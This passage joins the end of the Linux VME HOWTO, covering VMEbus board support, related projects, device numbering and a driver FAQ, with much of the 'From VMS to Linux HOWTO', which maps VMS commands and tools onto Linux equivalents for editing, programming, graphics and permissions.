  • A prepared kernel will be available soon. It will be based on the newest version of the Linux kernel and will include appropriate drivers for PCNET Ethernet peripheral. Check the website for details.
  • The VP7 has a nice feature which performs the BOOTP protocol without need of a bootrom or similar modification. However, you must ask SBS for an updated BIOS with this modification.

6.5 DY4 179, A Power PC board

  • An independent engineer finds this board is compatible with the standard VMELinux kernel driver package from VMELinux Project

6.6 Planned Board Support

If you do not see VMELinux support for your board let us know. Maybe the manufacture will lend us a board for development.


Linux VME Howto: Other "Linux on VME" Projects

 Next Previous Contents

7. Other "Linux on VME" Projects

This HOWTO emphasizes the efforts of just one particular way of accessing the VMEbus from a Linux system; Our way requires the Tundra Universe PCI/VME bridge device which will not work with many VME processor boards. Fortunately, there are several other efforts out there in various stages of development which provide the VME system integrator with options.

Since it is our desire to make this HOWTO reflect the efforts of the entire community of VME folks, we will be adding coverage of the other projects in future versions of this document. For the moment, we are simply going to list the other efforts in this section. Please refer to the latest documentation at The VMELinux Project for up to date information.

7.1 Project List

  • Linux for 680x0 based VME boards. Currently there are ports for Motorola boards (MVME147, MVME162, MVME166, MVME167, MVME172, MVME177), BVM boards (BVME4000 and BVME6000), and the Tadpole TP34V. Web Site. Latest activity September 1, 2000.
  • The "other" Tundra Universe driver - Linux driver for the Tundra Semiconductor Universe PCI/VME bridge. Also known as the Hannappe driver. Web Site.
  • Gabriel Paubert has been busy with yet another Tundra Universe driver. FTP Site. His emphasis is having a driver that will allow writing kernel modules for specific devices in the VME cage. Emphasis includes interrupt handling and queuing DMA transfers.
  • Synergy has a port for their PowerPC boards at Synergy.
  • VMIC supports the 2.2.x and 2.4.x kernels for their boards. Linux on VMIC VME CPUs.

7.2 Major Device Numbers

There has been some confusion about the major device number to assign VME bus devices. Originally, the VMELinux Universe driver used 70. This quickly came into conflict with the "SpellCaster Protocol" as the number became assigned by the Linux folks. I requested and received a device number of 221 for VME devices. In a perfect world, all Linux VME design efforts would have a common interface to their driver through this device. I doubt we will ever see unity on this particular aspect, however, I think we can all at least agree to use this number for our devices.

Up to version 1.2.0 The VMELinux driver supports the following devices:

  • /dev/m0 c 221 0
  • /dev/m1 c 221 1
  • /dev/m2 c 221 2
  • /dev/m3 c 221 3
  • /dev/s0 c 221 4
  • /dev/s1 c 221 5
  • /dev/s2 c 221 6
  • /dev/s3 c 221 7
  • /dev/ctl c 221 8

As of version 1.3.0 The VMELinux driver drops support for the slave images (it never did support them) and substitutes the four additional master images offered by the Universe II:

  • /dev/m0 c 221 0
  • /dev/m1 c 221 1
  • /dev/m2 c 221 2
  • /dev/m3 c 221 3
  • /dev/m4 c 221 4
  • /dev/m5 c 221 5
  • /dev/m6 c 221 6
  • /dev/m7 c 221 7
  • /dev/ctl c 221 8

The good folks responsible for organizing Linux devices suggest the following device organization:

  • /dev/bus/vme/m0 c 221 0
  • /dev/bus/vme/m1 c 221 1
  • /dev/bus/vme/m2 c 221 2
  • /dev/bus/vme/m3 c 221 3
  • /dev/bus/vme/s0 c 221 4
  • /dev/bus/vme/s1 c 221 5
  • /dev/bus/vme/s2 c 221 6
  • /dev/bus/vme/s3 c 221 7
  • /dev/bus/vme/ctl c 221 8

This was established from our 1.2.0 and earlier collections and makes sense for the Universe I device. For the Universe II and the many other completely different ways to the VMEbus, it makes no sense at all. I may ask the Linux folks to further breakdown the device tree like this:

  • /dev/bus/vme/ca91c142/m0..m3,s0..s4,ctl for the original Tundra Universe
  • /dev/bus/vme/ca91c042/m0..m7,s0..s7,ctl for the Tundra Universe II
  • /dev/bus/vme/motorola/680x0/whatever for the Motorola boards
  • etc.

All this is nice I suppose, but we like our devices to be /dev/vme* so our make file creates them in /dev. So far, the term "VME" has remained a unique identifier so conflicts with other devices should not occur; However, we should all remain watchful. So long as we all agree to use the major number of 221, all should be just fine. How we define the minor numbers does not need to be (and really cannot be) the same as other Linux-VME projects. However, this should not result in any conflicts in a particular installation. After all, one Linux VME system is not going to have more than one way to access the VMEbus.

Refer to the kernel.org web site for more details on this and every other assigned Linux device major number.


Linux VME Howto: Conclusion

 Next Previous Contents

8. Conclusion

VMELinux and the other Linux on VME efforts offer the user a low cost way to implement a VMEbus system quickly, reliably and with all the advantages of a unix environment. We are using VMELinux in our projects. Our task list includes:

  • Porting to other brands of Intel VMEbus boards,
  • Porting of VMELinux to other processors that use the Universe chip,
  • Creation of various slave board drivers for use by all VMELinux users,
  • A study of running the VMELinux kernel driver module as a RT-Linux task.

This document outlines the steps you need to install the VMELinux Kernel Driver into the example Xycom XVME-655 Pentium VME board. It is our hope that others will attempt installation of VMELinux into other boards and let us know their success.

This method of code development works best when the users tell us of their successes and describe the equipment used. Please, please drop a note to the VMELinux Mail List and share your experience with others.

Send bug reports and feature requrests to the VMELinux Project Bug Tracker. If you have a question or an update to this document send email to John.


Linux VME Howto: FAQ

 Next Previous Contents

9. FAQ

9.1 The Shell utilities return a bunch of stars (*) when I access a board I know is there. What gives?

Check to be sure the /dev/vme... files have their permissions set to 666. If not, the shell utilities will return a * in place of data to indicate an error condition similar to a VME bus error.

9.2 The Shell utilities still return a bunch of stars (*) when I access a board I know is there. Now what?

It is possible the ca91c042 Linux kernel module has been compromised. Get root access and type "lsmod" to review the loaded modules. Do you see the ca91c042? If yes, try removing it and reinstalling it with "rmmod ca91c042" and then "insmod /path/to/the/ca91c042.o" to get things up again. If it is not there check to see if you are loading the module when you boot the machine, etc.

9.3 The Shell utilities still return a bunch of stars (*) when I access a board I know is there. HELP?

Time to get a VMetro board into the VME cage and see if any accesses are occurring. Also look at the /proc/ca91c042 file to see if the read and write counters are incrementing.

9.4 How does VMELinux handle interrupts?

The driver does handle interrupts, but if you compile your interrupt handler program as a Linux loadable module, that program can handle the interrupts directly. Examples of this will be available soon. It is important to note that user level program can be made to handle interrupts, but it is a much better idea to have your interrupt handlers as part of the Linux kernel via loadable modules. Yes, you can totally hose the kernel if you do something wrong, but that is the trade off between safety and performance.

9.5 I have RedHat 5.1 and can't get VMELinux programs to compile.

RedHat 5.1 includes a new compiler. If you manually edit the Makefile in each directory to call up the new egcs compiler, things should compile. We fully intend to support RedHat 5.1 installations, but for now I suggest using 5.0 or Slackware.

9.6 I have RedHat 6.x so I assume the above issue is fixed. Right?

Maybe. RedHat threw us, and many other kernel module driver writers, a curve ball with the move to the egcs compiler. Thankfully, the two compiler camps, GCC and egcs, have united their efforts. All this incompatibility should just go away. For the moment, however, VMELinux will only be tested with GCC 2.95.x so that is what we suggest you use for a compiler. If you type "gcc --version" at your prompt and get an "egcs..." back then we cannot say it will work for you.

9.7 When will your ca91c042 Tundra Universe driver support the 2.4 kernels?

Now. Download the latest tar ball from the download directory at the main site. 2.4 support was added in version vmelinux-1.2.0.

9.8 Hey! The Universe II has eight master and eight slave images. You support four each. Why?

We have been at this a long time and initially created these tools for the original Universe I which according to the documentation has four images each. When boards arrived with the Universe II, we searched the Tundra web site in vain for new documentation. We were told by the board manufacturers the II works just like the original; Thus, we only worried about the original four images. Just recently some good folks pointed out our omission. We finally found the correct documentation on the web site and support the extra images as of the 1.3.0 development release.

More news! The latest CVS snapshots of the ca91c042.c and ca91c042.h files will notice which Universe version is in your system and act accordingly.

Please note, we have not yet found any good reason to spend time developing support for the eight (or four) slave images. The current tools only support the master images and this has proven adequate for every need we have come across. If you think slave support is a good thing, let us know.

The folks at VMIC have a kernel driver they say does support the slave images and is available under a BSD style license. The announcment may be found in our mail list archive mail list archive and the correct link to there web site is here.

9.9 How can we contribute to your VME-LINUX working group?

All programming efforts thus far have been accomplished by Michael Wyrick. My role has been to coordinate the VMELinux Project and help define and test the resulting programs.

We have successfully placed the working code into a CVS system and are using it to track code changes. Right now only Mike and myself have write access to this. If you are seriously interested in VMELinux development and you know your way around Linux kernel programming, please join us by joining the developers mailing list and creating an account on our bug tracking system located here.

If you cannot develop code, please consider keeping us informed about any bugs you see or features we should add. You can send mail to the user or developer mail lists, but contributing your comments to the bug tracking system is much more useful. Just visit VMELinux Project Bug Tracking System, create an account, submit your report and we will address it as soon as we can.


From VMS to Linux HOWTO

By Guido Gonzato, guido ``at'' ibogeo.df.unibo.it, and Mike Miller, miller5@uiuc.edu

v1.1.3, 17 September 1999

This HOWTO is aimed at all those who have been using VMS and now need or want to switch to Linux, the free UNIX clone. The transition is made (hopefully) painless with a step--to--step comparison between commands and available tools.

1. Introduction

  • 1.1 Why Linux?
  • 1.2 Comparing Commands and Files

2. Short Intro

  • 2.1 Files
  • 2.2 Directories
  • 2.3 Programs
  • 2.4 Quick Tour

3. Editing Files

4. TeXing

5. Programming

  • 5.1 Fortran
  • 5.2 Using make
  • 5.3 Shell Scripts
  • 5.4 C

6. Graphics

7. Mail and Internet Tools

8. Advanced Topics

  • 8.1 Permissions and Ownership
  • 8.2 Multitasking: Processes and Jobs
  • 8.3 Files, Revisited
  • 8.4 Print Queues

9. Configuring

10. Useful Programs

  • 10.1 Browsing Files: less
  • 10.2 Numbered Backups Under Linux
  • 10.3 Archiving: tar & gzip

11. Real Life Examples

12. Tips You Can't Do Without

13. Reading VMS tapes from Linux

  • 13.1 Introduction
  • 13.2 The Basics
  • 13.3 Some details
  • 13.4 Comment on Block Size

14. The End

  • 14.1 Copyright
  • 14.2 Disclaimer


From VMS to Linux HOWTO: Introduction

 Next Previous Contents

1. Introduction

1.1 Why Linux?

You've heard that UNIX is difficult and balk at the prospect of leaving VMS, don't you? Don't worry. Linux, one of the finest UNIX clones, is not more difficult to use than VMS; actually, I find it easier. Although VMS aficionados may not agree, in many people's opinion Linux is much more powerful and versatile.

Linux and VMS are both good operating systems and accomplish essentially the same tasks, but Linux has a few features that make it a good alternative to VMS. Moreover, Linux is available for PCs while VMS is not, and modern Pentium-based Linux machines can outperform a VAX. The icing on the cake is the excellent performance of modern video cards, which turn an X11-based Linux box into a fast graphic workstation; nearly always, quicker than dedicated machines.

I imagine you're a university researcher or a student, and that you use VMS for the following everyday tasks:

  • writing papers with TeX/LaTeX;
  • programming in Fortran;
  • doing some graphics;
  • using Internet services;
  • et cetera.

In the following sections I'm going to explain to you how to do these tasks under Linux, exploiting your experience with VMS. Prerequisites:

  • Linux and X Window System are properly installed;
  • there's a system administrator to take care of the technical details (please get help from them, not from me ;-) ;
  • your shell---the equivalent of DCL---is bash (ask your sysadm).

Please note that this HOWTO is not enough to acquaint you fully with Linux: it only contains the bare essential to get you started. You should learn more about Linux to make the most of it (advanced bash features, programming, regular expressions...). From now on, RMP means `please read the man pages for further details'. The man pages are the equivalent of the command HELP.

The Linux Documentation Project documents, available on ftp://sunsite.unc.edu:/pub/Linux/docs/LDP, are an important source of information. I suggest that you read Larry Greenfield's ``Linux User Guide''---it's invaluable for the novice user.

And now, go ahead.

1.2 Comparing Commands and Files

This table attempts to compare VMS' and Linux' most used commands. Please keep in mind that the syntax is often very different; for more details, refer to the following sections.

VMS                             Linux                   Notes
------------------------------------------------------------------------------

@COMMAND                        command                 must be executable
COPY file1 file2                cp file1 file2
CREATE/DIR [.dirname]           mkdir dirname           only one at a time
CREATE/DIR [.dir1.dir2]         mkdirhier dir/name
DELETE filename                 rm filename
DIFF file1 file2                diff -c file1 file2
DIRECTORY                       ls
DIRECTORY [...]file             find . -name file
DIRECTORY/FULL                  ls -al
EDIT filename                   vi filename,            you won't like it
                                emacs filename,         EDT compatible
                                jed filename            ditto---my favourite
FORTRAN prog.for                g77 prog.f,             no need to do LINK
                                f77 prog.f,
                                fort77 prog.f
HELP command                    man command             must specify `command'
                                info command            ditto
LATEX file.tex                  latex file.tex
LOGIN.COM                       .bash_profile,          `hidden' file
                                .bashrc                 ditto
LOGOUT.COM                      .bash_logout            ditto
MAIL                            mail,                   crude
                                elm,                    much better
                                pine                    better still
PRINT file.ps                   lpr file.ps
PRINT/QUEUE=laser file.ps       lpr -Plaser file.ps
PHONE user                      talk user
RENAME file1 file2              mv file1 file2          not for multiple files
RUN progname                    progname
SEARCH file "pattern"           grep pattern file
SET DEFAULT [-]                 cd ..
SET DEFAULT [.dir.name]         cd dir/name
SET HOST hostname               telnet hostname,        not exactly the same
                                rlogin hostname
SET FILE/OWNER_UIC=joe          chown joe file          completely different
SET NOBROADCAST                 mesg
SET PASSWORD                    passwd
SET PROT=(perm) file            chmod perm file         completely different
SET TERMINAL                    export TERM=            different syntax
SHOW DEFAULT                    pwd
SHOW DEVICE                     du, df
SHOW ENTRY                      lpq
SHOW PROCESS                    ps -ax
SHOW QUEUE                      lpq
SHOW SYSTEM                     top
SHOW TIME                       date
SHOW USERS                      w
STOP                            kill
STOP/QUEUE                      kill,                   for processes
                                lprm                    for print queues
SUBMIT command                  command &
SUBMIT/AFTER=time command       at time command
TEX file.tex                    tex file.tex
TYPE/PAGE file                  more file
                                less file               much better

But of course it's not only a matter of different command names. Read on.


From VMS to Linux HOWTO: Short Intro

 Next Previous Contents

2. Short Intro

This is what you absolutely need to know before logging in the first time. Relax, it's not much.

2.1 Files

  • Under VMS filenames are in the form filename.extension;version. Under Linux, the version number doesn't exist (big limitation, but see Section Numbered Backups Under Linux); the filename has normally a limit of 255 characters and can have as many dots as you like. Example of filename: This.is_a_FILEname.txt.
  • Linux distinguishes between upper case and lower case characters: FILENAME.txt and filename.txt are two different files; ls is a command, LS is not.
  • A filename starting with a dot is a `hidden' file (that is, it won't normally show up in dir listings), while filenames ending with a tilde '~' represent backup files.

Now, a table to sum up how to translate commands from VMS to Linux:

VMS                                     Linux
---------------------------------------------------------------------

$ COPY file1.txt file2.txt              $ cp file1.txt file2.txt
$ COPY [.dir]file.txt []                $ cp dir/file.txt .
$ COPY [.dir]file.txt [-]               $ cp dir/file.txt ..
$ DELETE *.dat;*                        $ rm *dat
$ DIFF file1 file2                      $ diff -c file1 file2
$ PRINT file                            $ lpr file
$ PRINT/queue=queuename file            $ lpr -Pprintername file
$ SEARCH *.tex;* "geology"              $ grep geology *tex

For other examples involving directories, see below; for details about protections, ownership, and advanced topics, see Section Advanced Topics.

2.2 Directories

  • Within the same node and device, directories names under VMS are in the form [top.dir.subdir]; under Linux, /top/dir/subdir/. On the top of the directory tree lies the so--called `root directory' called /; underneath there are other directories like /bin, /usr, /tmp, /etc, and others.
  • The directory /home contains the so--called users' `home directories': e.g. /home/guido, /home/warner, and so on. When a user logs in, they start working in their home dir; it's the equivalent of SYS$LOGIN. There's a shortcut for the home directory: the tilde '~'. So, cd ~/tmp is the same as, say, cd /home/guido/tmp.
  • Directory names follow the same rules as file names. Furthermore, each directory has two special entries: one is . and refers to the directory itself (like []), and .. that refers to the parent directory (like [-]).

And now for some other examples:

VMS                                     Linux
---------------------------------------------------------------------

$ CREATE/DIR [.dirname]                 $ mkdir dirname
$ CREATE/DIR [.dir1.dir2.dir3]          $ mkdirhier dir1/dir2/dir3
   n/a                                  $ rmdir dirname
                                        (if dirname is empty)
                                        $ rm -R dirname
$ DIRECTORY                             $ ls
$ DIRECTORY [...]file.*;*               $ find . -name "file*"
$ SET DEF SYS$LOGIN                     $ cd
$ SET DEF [-]                           $ cd ..
$ SET DEF [top.dir.subdir]              $ cd /top/dir/subdir
$ SET DEF [.dir.subdir]                 $ cd dir/subdir
$ SHOW DEF                              $ pwd

For protections, ownership, and advanced topics, see Section Advanced Topics.

2.3 Programs

  • Commands, compiled programs, and shell scripts (VMS' `command files') don't have sort of mandatory extensions like .EXE or .COM and can be called whatever you like. Executable files are marked by an asterisk '*' when you issue ls -F.
  • To run an executable file, just type its name (no RUN PROGRAM.EXE or @COMMAND). Caveat: it's essential that the file be located in a directory included in the path of executables, which is a list of directories. Typically, the path includes dirs like /bin, /usr/bin, /usr/X11R6/bin, and others. If you write your own programs, put them in a directory you have included in the path (see how in Section Configuring). As an alternative, you may run a program specifying its complete path: e.g., /home/guido/data/myprog; or ./myprog, if the current directory isn't in the path.
  • Command switches are obtained with /OPTION= under VMS, and with -switch or --switch under Linux, where switch is a letter, more letters combined, or a word. In particular, the switch -R (recursive) of many Linux commands performs the same action as [...] under VMS;
  • You can issue several commands on the command line:
    $ command1 ; command2 ; ... ; commandn
  • Most of the flexibility of Linux comes from two features awkwardly implemented or missing in VMS: I/O redirection and piping. (I have been told that recent versions of DCL support redirection and piping, but I don't have that version.) Redirection is a side feature under VMS (remember the switch /OUTPUT= of many commands), or a fastidious process, like:
    $ DEFINE /USER SYS$OUTPUT OUT
$ DEFINE /USER SYS$INPUT IN
$ RUN PROG
    which has the simple Linux (UNIX) equivalent:
    $ prog < in > out
    Piping is not readily available under VMS, but has a key role under UNIX. A typical example:
    $ myprog < datafile | filter_1 | filter_2 >> result.dat 2> errors.log &
    which means: the program myprog gets its input from the file datafile (via <), its output is piped (via |) to the program filter_1 that takes it as input and processes it, the resulting output is piped again to filter_2 for further processing, the final output is appended (via >>) to the file result.dat, and error messages are redirected (via 2>) onto the file errors.log. All this in background (& at the end of the command line). More about this in Section Examples.

For multitasking, `queues', and the like, see Section Advanced Topics.

2.4 Quick Tour

Now you are ready to try Linux out. Enter your login name and password exactly as they are. For example, if your login name and password are john and My_PassWd, don't type John or my_passwd. Remember, UNIX distinguishes between capital and small letters.

Once you've logged in, you'll see a prompt; chances are it'll be something like machinename:$. If you want to change the prompt or make some programs start automatically, you'll have to edit a `hidden' file called .profile or .bash_profile (see example in Section Configuring). This is the equivalent of LOGIN.COM.

Pressing ALT--F1, ALT--F2, ... ALT--F6 switches between `virtual consoles'. When one VC is busy with a full--screen application, you can flip over to another and continue to work. Try and log in to another VC.

Now you may want to start X Window System (from now on, X). X is a graphic environment very similar to DECWindows---actually, the latter derives from the former. Type the command startx and wait a few seconds; most likely you'll see an open xterm or equivalent terminal emulator, and possibly a button bar. (It depends on how your sysadm configured your Linux box.) Click on the desktop (try both mouse buttons) to see a menu.

While in X, to access the text mode (`console') sessions press CTRL--ALT--F1 ... CTRL--ALT--F6. Try it. When in console, go back to X pressing ALT--F7. To quit X, follow the menu instructions or press CTRL--ALT--BS.

Type the following command to list your home dir contents, including the hidden files:

$ ls -al

Press SHIFT--PAG UP to back-scroll. Now get help about the ls command typing:

$ man ls

pressing 'q' to exit. To end the tour, type exit to quit your session. If now you want to turn off your PC, press CTRL--ALT--DEL and wait a few seconds (never switch off the PC while in Linux! You could damage the filesystem.)

If you think you're ready to work, go ahead, but if I were you I'd jump to Section Advanced Topics.


From VMS to Linux HOWTO: Editing Files

 Next Previous Contents

3. Editing Files

Linux doesn't have EDT, but there are scores of editors available. The only one that's guaranteed to be included in every UNIX version is vi---forget it, your sysadm must have installed something better. Probably the most popular editor is emacs, which can emulate EDT to a certain degree; jed is another editor that provides EDT emulation.

These two editors are particularly useful for editing program sources, since they have two features unknown to EDT: syntax hilighting and automatic indentation. Moreover, you can compile your programs from within the editor (command ESC-X compile); in case of a syntax error, the cursor will be positioned on the offending line. I bet that you'll never want to use the true blue EDT again.

If you have emacs: start it, then type ESC-X edt-emulation-on. Pressing ALT--X or ESC-X is emacs' way of issuing commands, like EDT's CTRL--Z. From now on, emacs acts like EDT apart from a few commands. Differences:

  • don't press CTRL--Z to issue commands (if you did, you stopped emacs. Type fg to resume it);
  • there's an extensive on-line help. Press CTRL-H ?, or CTRL-H T to start a tutorial;
  • to save a file, press CTRL-X CTRL-S;
  • to exit, press CTRL-X CTRL-C;
  • to insert a new file in a buffer, press CTRL-X CTRL-F, then CTRL-X B to switch among buffers.

If you have jed: ask your sysadm to configure jed properly. Emulation is already on when you start it; use the normal keypad keys, and press CTRL--H CTRL--H or CTRL-? to get help. Commands are issued in the same way as emacs'. In addition, there are some handy key bindings missing in the original EDT; key bindings can also be tailored to your own taste. Ask your sysadm.

In alternative, you may use another editor with a completely different interface. emacs in native mode is an obvious choice; another popular editor is joe, which can emulate other editors like emacs itself (being even easier to use) or the DOS editor. Invoke the editor as jmacs or jstar and press, respectively, CTRL-X H or CTRL-J to get online help. emacs and jed are much more powerful than good ol' EDT.


From VMS to Linux HOWTO: TeXing

 Next Previous Contents

4. TeXing

TeX and LaTeX are identical to their VMS counterparts---only quicker :-), but the tools to handle the .dvi and .ps files are superior:

  • to run a TeX file through TeX, do as usual: tex file.tex;
  • to turn a .dvi file into a .ps file, type dvips -o filename.ps filename.dvi;
  • to visualize a .dvi file, type within an X session: xdvi filename.dvi &. Click on the page to magnify. This program is smart: if you edit and run TeX producing newer versions of the .dvi file, xdvi will update it automatically;
  • to visualize a .ps file, type within an X session: ghostview filename.ps &. Click on the page to magnify. The whole document or selected pages can be printed. A newer and better program is gv.
  • to print the .ps: usually the command lpr mypaper.ps will do, but if the PostScript printer is called, say, `ps' (ask your sysadm) you'll do: lpr -Pps mypaper.ps. For more information about print queues, go to Section Print Queues.


From VMS to Linux HOWTO: Programming

 Next Previous Contents

5. Programming

Programming under Linux is much better: there are lots of tools that make programming easier and quicker. For instance, the drudgery of editing--saving--exiting--compiling--re-editing can be cut short by using editors like emacs or jed, as seen above.

5.1 Fortran

Not substantial differences here, but note that at the time of writing the available (free) compilers are not 100% compatible with VMS'; expect some minor quirks. (It's actually the VMS compiler which has non-standard extensions.) See /usr/doc/g77/DOC or /usr/doc/f2c/f2c.ps for details.

Your sysadm has installed a native compiler called g77 (good but, as of version 0.5.21, still not perfectly compatible with DEC Fortran) or possibly the Fortran to C translator, f2c, and one of the front-ends that make it mimic a native compiler. In my experience, the package yaf77 is the one that provides best results.

To compile a Fortran program with g77, edit the source, save it with extension .f, then do:

$ g77 myprog.f

which creates by default an executable called a.out (you don't have to link anything). To give the executable a different name and do some optimisation:

$ g77 -O2 -o myprog myprog.f

Beware of optimisations! Ask your sysadm to read the documentation that comes with the compiler and tell you if there are any problems.

To compile a subroutine:

$ g77 -c mysub.f

This creates a file mysub.o. To link this subroutine to a program, you'll do

$ g77 -o myprog myprog.f mysub.o

If you have many external subroutines and you want to make a library, do the following:

$ cd subroutines/
$ cat *f >mylib.f ; g77 -c mylib.f

This will create mylib.o that you can link to your programs.

Finally, to link an external library called, say, libdummy.so:

$ g77 -o myprog myprog.f -ldummy

If you have f2c, you only have to use f77 or fort77 instead of g77.

Another useful programming tool is make, described below.

5.2 Using make

The utility make is a tool to handle the compilation of programs that are split into several source files. The VMS counterparts are MMS and MMK, which have a different syntax.

Let's suppose you have source files containing your routines, file_1.f, file_2.f, file_3.f, and a source file of the main program that uses the routines, myprog.f. If you compile your program manually, whenever you modify one of the source files you have to figure out which file depends on which, which file to recompile first, and so on.

Instead of getting mad, you can write a `makefile'. This is a text file containing the dependencies between your sources: when one is modified, only the ones that depend on the modified file will be recompiled.

In our example, you'd write a makefile like this:

# This is makefile
# Press the <TAB> key where you see <TAB>!
# It's important: don't use spaces instead.

myprog: myprog.o file_1.o file_2.o file_3.o
<TAB>g77 -o myprog myprog.o file_1.o file_2.o file_3.o
# myprog depends on four object files

myprog.o: myprog.f
<TAB>g77 -c myprog.f
# myprog.o depends on its source file

file_1.o: file_1.f
<TAB>g77 -c file_1.f
# file_1.o depends on its source file

file_2.o: file_2.f file_1.o
<TAB>g77 -c file_2.f file_1.o
# file_2.o depends on its source file and an object file

file_3.o: file_3.f file_2.o
<TAB>g77 -c file_3.f file_2.o
# file_3.o depends on its source file and an object file

# end of makefile.

Save this file as Makefile and type make to compile your program; alternatively, save it as myprog.mak and type make -f myprog.mak. And of course, RMP.

5.3 Shell Scripts

Shell scripts are the equivalent of VMS' command files, and allow for very powerful constructs.

To write a script, all you have to do is write a standard ASCII file containing the commands, save it, then make it executable with the command chmod +x <scriptfile>. To execute it, type its name.

Writing scripts under bash is such a vast subject it would require a book by itself, and I will not delve into the topic any further. I'll just give you a more-or-less comprehensive and (hopefully) useful example you can extract some basic rules from.

EXAMPLE: sample.sh

#!/bin/sh
# sample.sh
# I am a comment
# don't change the first line, it must be there
echo "This system is: `uname -a`" # use the output of the command
echo "My name is $0" # built-in variables
echo "You gave me the following $# parameters: "$*
echo "First parameter is: "$1
echo -n "What's your name? " ; read your_name
echo notice the difference: "hi $your_name" # quoting with "
echo notice the difference: 'hi $your_name' # quoting with '
DIRS=0 ; FILES=0
for file in `ls .` ; do
  if [ -d ${file} ] ; then # if file is a directory
    DIRS=`expr $DIRS + 1`  # this means DIRS = DIRS + 1
  elif [ -f ${file} ] ; then
    FILES=`expr $FILES + 1`
  fi
  case ${file} in
    *.gif|*jpg) echo "${file}: graphic file" ;;
    *.txt|*.tex) echo "${file}: text file" ;;
    *.c|*.f|*.for) echo "${file}: source file" ;;
    *) echo "${file}: generic file" ;;
  esac
done
echo "there are ${DIRS} directories and ${FILES} files"
ls | grep "ZxY--!!!WKW"
if [ $? != 0 ] ; then # exit code of last command
  echo "ZxY--!!!WKW not found"
fi
echo "enough... type 'man bash' if you want more info."

5.4 C

Linux is an excellent environment to program in C. Taken for granted that you know C, here are a couple of guidelines. To compile your standard hello.c you'll use the gcc compiler, which comes as part of Linux and has the same syntax as g77:

$ gcc -O2 -o hello hello.c

To link a library to a program, add the switch -l<libname>. For example, to link the math library and optimize do

$ gcc -O2 -o mathprog mathprog.c -lm

(The -l<libname> switch forces gcc to link the library /usr/lib/lib<libname>.a; so -lm links /usr/lib/libm.a).

When your program is made of several source files, you'll need to use the utility make described above. Just use gcc and C source files in the makefile.

You can invoke some help about the C functions, that are covered by man pages, section 3; for example,

$ man 3 printf

There are lots of libraries available out there; among the first you'll want to use are ncurses, to handle text mode effects, and svgalib, to do graphics.


From VMS to Linux HOWTO: Graphics

 Next Previous Contents

6. Graphics

Among the scores of graphic packages available, gnuplot stands out for its power and ease of use. Go to X and type gnuplot, and have two sample data files ready: 2D-data.dat (two data per line), and 3D-data.dat (three data per line).

Examples of 2-D graphs:

gnuplot> set title "my first graph"
gnuplot> plot '2D-data.dat'
gnuplot> plot '2D-data.dat' with linespoints
gnuplot> plot '2D-data.dat', sin(x)
gnuplot> plot [-5:10] '2D-data.dat'

Example of 3-D graphs (each `row' of X values is followed by a blank line):

gnuplot> set parametric ; set hidden3d ; set contour
gnuplot> splot '3D-data.dat' using 1:2:3 with linespoints

A single-column datafile (e.g., a time series) can also be plotted as a 2-D graph:

gnuplot> plot [-5:15] '2D-data-1col.dat' with linespoints

or as a 3-D graph (blank lines in the datafile, as above):

gnuplot> set noparametric ; set hidden3d
gnuplot> splot '3D-data-1col.dat' using 1 with linespoints

To print a graph: if the command to print on your Postscript printer is lpr -Pps file.ps, issue:

gnuplot> set term post
gnuplot> set out '| lpr -Pps'
gnuplot> replot

then type set term x11 to restore. Don't get confused---the last print will come out only when you quit gnuplot.

For more info, type help or see the examples in directory /usr/lib/gnuplot/demos/, if you have it.


From VMS to Linux HOWTO: Mail and Internet Tools

 Next Previous Contents

7. Mail and Internet Tools

Since Internet was born on UNIX machines, you find plenty of nice and easy-to-use applications under Linux. Here are just some:

  • Mail: use elm or pine to handle your email; both programs have on-line help. For short messages, you could use mail, as in mail -s "hello mate" user@somewhere < msg.txt. You may like programs like xmail or some such.
  • Newsgroups: use tin or slrn, both very intuitive and self-explanatory.
  • ftp: apart from the usual character-based ftp, ask your sysadm to install the full-screen ncftp or a graphical ftp client like xftp.
  • WWW: the ubiquitous netscape, or xmosaic, chimera, and arena are graphical web browsers; a character-based one is lynx, quick and effective.


From VMS to Linux HOWTO: Advanced Topics

 Next Previous Contents

8. Advanced Topics

Here the game gets tough. Learn these features, then you'll be ready to say that you `know something about Linux' ;-)

8.1 Permissions and Ownership

Files and directories have permissions (`protections') and ownership, just like under VMS. If you can't run a program, or can't modify a file, or can't access a directory, it's because you don't have the permission to do so, and/or because the file doesn't belong to you. Let's have a look at the following example:

$ ls -l /bin/ls
-rwxr-xr-x   1 root     bin         27281 Aug 15  1995 /bin/ls*

The first field shows the permissions of the file ls (owner root, group bin). There are three types of ownership: owner, group, and others (similar to VMS owner, group, world), and three types of permissions: read, write (and delete), and execute.

From left to right, - is the file type (- = ordinary file, d = directory, l = link, etc); rwx are the permissions for the file owner (read, write, execute); r-x are the permissions for the group of the file owner (read, execute); r-x are the permissions for all other users (read, execute).

To change a file's permissions:

$ chmod <whoXperm> <file>

where who is u (user, that is owner), g (group), o (other), X is either + or -, perm is r (read), w (write), or x (execute). Examples:

$ chmod u+x file

this sets the execute permission for the file owner. Shortcut: chmod +x file.

$ chmod go-wx file

this removes write and execute permission for everyone except the owner.

$ chmod ugo+rwx file

this gives everyone read, write, and execute permission.

A shorter way to refer to permissions is with numbers: rwxr-xr-x can be expressed as 755 (every letter corresponds to a bit: --- is 0, --x is 1, -w- is 2...).

For a directory, rx means that you can cd to that directory, and w means that you can delete a file in the directory (according to the file's permissions, of course), or the directory itself. All this is only part of the matter---RMP.

To change a file's owner:

$ chown username file

To sum up, a table:

VMS                             Linux                   Notes
------------------------------------------------------------------------------

SET PROT=(O:RW) file.txt        $ chmod u+rw file.txt
                                $ chmod 600 file.txt
SET PROT=(O:RWED,W) file        $ chmod u+rwx file
                                $ chmod 700 file
SET PROT=(O:RWED,W:RE) file     $ chmod 755 file
SET PROT=(O:RW,G:RW,W) file     $ chmod 660 file
SET FILE/OWNER_UIC=JOE file     $ chown joe file
SET DIR/OWNER_UIC=JOE [.dir]    $ chown joe dir/

8.2 Multitasking: Processes and Jobs

More about running programs. There are no `batch queues' under Linux as you're used to; multitasking is handled very differently. Again, this is what the typical command line looks like:

$ command -s1 -s2 ... -sn par1 par2 ... parn < input > output &

where -s1, ..., -sn are the program switches, par1, ..., parn are the program parameters.

Now let's see how multitasking works. Programs, running in foreground or background, are called `processes'.

  • To launch a process in background:
    $ progname [-switches] [parameters] [< input] [> output] &
[1] 234
    the shell tells you what the `job number' (the first digit; see below) and PID (Process IDentifier) of the process are. Each process is identified by its PID.
  • To see how many processes there are:
    $ ps -ax
    This will output a list of currently running processes.
  • To kill a process:
    $ kill <PID>
